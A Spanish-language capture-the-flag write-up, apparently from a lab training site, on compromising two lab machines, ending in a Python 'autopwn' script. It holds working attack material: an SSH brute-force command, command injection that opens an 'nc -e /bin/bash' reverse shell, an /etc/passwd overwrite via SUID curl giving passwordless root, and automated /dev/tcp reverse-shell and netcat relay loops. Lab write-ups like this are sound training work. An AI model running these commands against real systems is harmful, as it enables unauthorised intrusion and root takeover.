> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/dark-write-up.md).

# Dark write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/hotiXMsUQGgomGasxbl4" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 10.10.10.2
```

<figure><img src="/files/PHCtx1ZoBgehVBsEvt41" alt=""><figcaption></figcaption></figure>

El escaneo indica que la máquina `10.10.10.2` tiene abierto el puerto 22 (SSH) y el 80 (HTTP). Así que escribimos la IP de la máquina `10.10.10.2` en el navegador y encontramos lo siguiente:

<figure><img src="/files/k4wKpIVUoV4iPXfT1l8I" alt=""><figcaption></figcaption></figure>

Contemplamos un formulario que pide ingresar una URL, si probamos a ingresar `/etc/passwd` observamos lo siguiente:

<figure><img src="/files/D0mOXuqVhnoDLTRHZmN5" alt=""><figcaption></figcaption></figure>

Se ha identificado que el formulario es vulnerable a una vulnerabilidad de **Local File Inclusion (LFI)**, lo que permite acceder a archivos locales del servidor. Mediante la explotación de esta vulnerabilidad, es posible visualizar archivos sensibles como el archivo `/etc/passwd`, el cual contiene información sobre las cuentas de usuario del sistema. Esto indica que la máquina tiene un usuario llamado `toni`. Así que vamos a probar a hacer un ataque de fuerza bruta a este usuario por el servicio SSH usando la herramienta **Hydra** con el siguiente comando:

```bash
hydra -l toni -P ../rockyou.txt ssh://10.10.10.2 -V -I -u -t 16
```

<figure><img src="/files/kZZw8yF6ZRqJUBkKwZgs" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del usuario `toni` es `banana`, así que vamos a acceder a la máquina `10.10.10.2`.

<figure><img src="/files/KoSgEpePAYEYpwV7BPLz" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, encontremos lo siguiente en el historial de comando del usuario `toni`:

<figure><img src="/files/tE3mF3QoPbZjLTTEvfCh" alt=""><figcaption></figcaption></figure>

Esto indica que podemos ejecutar comandos en la máquina `20.20.20.3`, ya que `http://20.20.20.3/process.php` tiene el parámetro `cmd`. Así que abrimos otra ventana del terminal e iniciamos de nuevo en la máquina `10.10.10.2` por SSH. Ahora nos ponemos en escucha con **netcat** dentro de la máquina víctima y ejecutamos `curl --data "cmd=nc -e /bin/bash 20.20.20.2 53" http://20.20.20.3/process.php`.

```bash
curl --data "cmd=nc -e /bin/bash 20.20.20.2 53" http://20.20.20.3/process.php
```

<figure><img src="/files/3y2UPDIjJCTazyOi24Sq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7kuRgxNC908sZYd30RTf" alt=""><figcaption></figcaption></figure>

Una vez dentro de la máquina `20.20.20.3`, ejecutamos el comando `find / -perm -4000 -ls 2>/dev/null`, el cual indica que podemos ejecutar el binario **curl** como usuario `root`.

```bash
find / -perm -4000 -ls 2>/dev/null
```

<figure><img src="/files/HvcBd4Wyyt0ZrvvFIDpT" alt=""><figcaption></figcaption></figure>

Así que vamos a crear el archivo `/tmp/passwd` que contenga lo siguiente:

```plaintext
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
```

Una vez creado el archivo, podremos sobrescribir el archivo `/etc/passwd` ejecutando el siguiente comando:

```bash
curl file:///tmp/passwd -o /etc/passwd
```

<figure><img src="/files/3S19QQltSDkKuNJwmIK4" alt=""><figcaption></figcaption></figure>

Y así habríamos obtenido una shell de la máquina `20.20.20.3` con privilegios elevados.

## **Autopwn**

```python
import os
import time
import subprocess



def crear_script_expect():

    print("[+] Creando script.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "$ "
send "ssh toni@10.10.10.2\r"
expect "password:  "
send "banana\r"
expect "*$ "
send "nc -nlvvp 53\r"
sleep 1
expect
send "echo -e 'root::0:0:root:/root:/bin/bash' > /tmp/passwd\r"
sleep 1
send "curl file:///tmp/passwd -o /etc/passwd\r"
sleep 1
expect
send "su\r"
expect
send "while true; do bash -i >& /dev/tcp/20.20.20.2/5555 0>&1 ; sleep 1\r"
send "done\r"
interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")

def crear_script_expect2():

    print("[+] Creando script.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
spawn zsh
expect "$ "
send "ssh toni@10.10.10.2\r"
expect "Password: "
sleep 1
send "banana\r"
sleep 1
expect "$ "
send "while true; do curl --data 'cmd=nc -e /bin/bash 20.20.20.2 53' http://20.20.20.3/process.php ; sleep 1\r"
expect "> "
send "done\r"



interact
"""

    with open("script2.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script2.exp")

def crear_script_expect3():

    print("[+] Creando script.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 10
spawn zsh
expect "$ "
send "ssh toni@10.10.10.2\r"
expect "Password: "
sleep 1
send "banana\r"
sleep 1
expect "$ "
send "mkfifo backpipe\r"
expect ""
send "while true; do nc -lvnp 5555 < backpipe | nc 172.17.0.1 4444 > backpipe ; sleep 1\r"
send "done\r"
interact
"""

    with open("script3.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script3.exp")


def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(0.1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def iniciar_escucha2():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script2.exp"])

    time.sleep(0.1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def iniciar_escucha3():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script3.exp"])

    time.sleep(0.1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def main():

    crear_script_expect()

    time.sleep(1)

    crear_script_expect2()

    time.sleep(1)

    crear_script_expect3()

    time.sleep(0.5)

    iniciar_escucha2()

    time.sleep(10)

    iniciar_escucha3()

    time.sleep(1)

    iniciar_escucha()    

    os.system("nc -lvnp 4444")

    os.system("rm script1.exp script2.exp script3.exp")

if __name__ == "__main__":
    main()
```
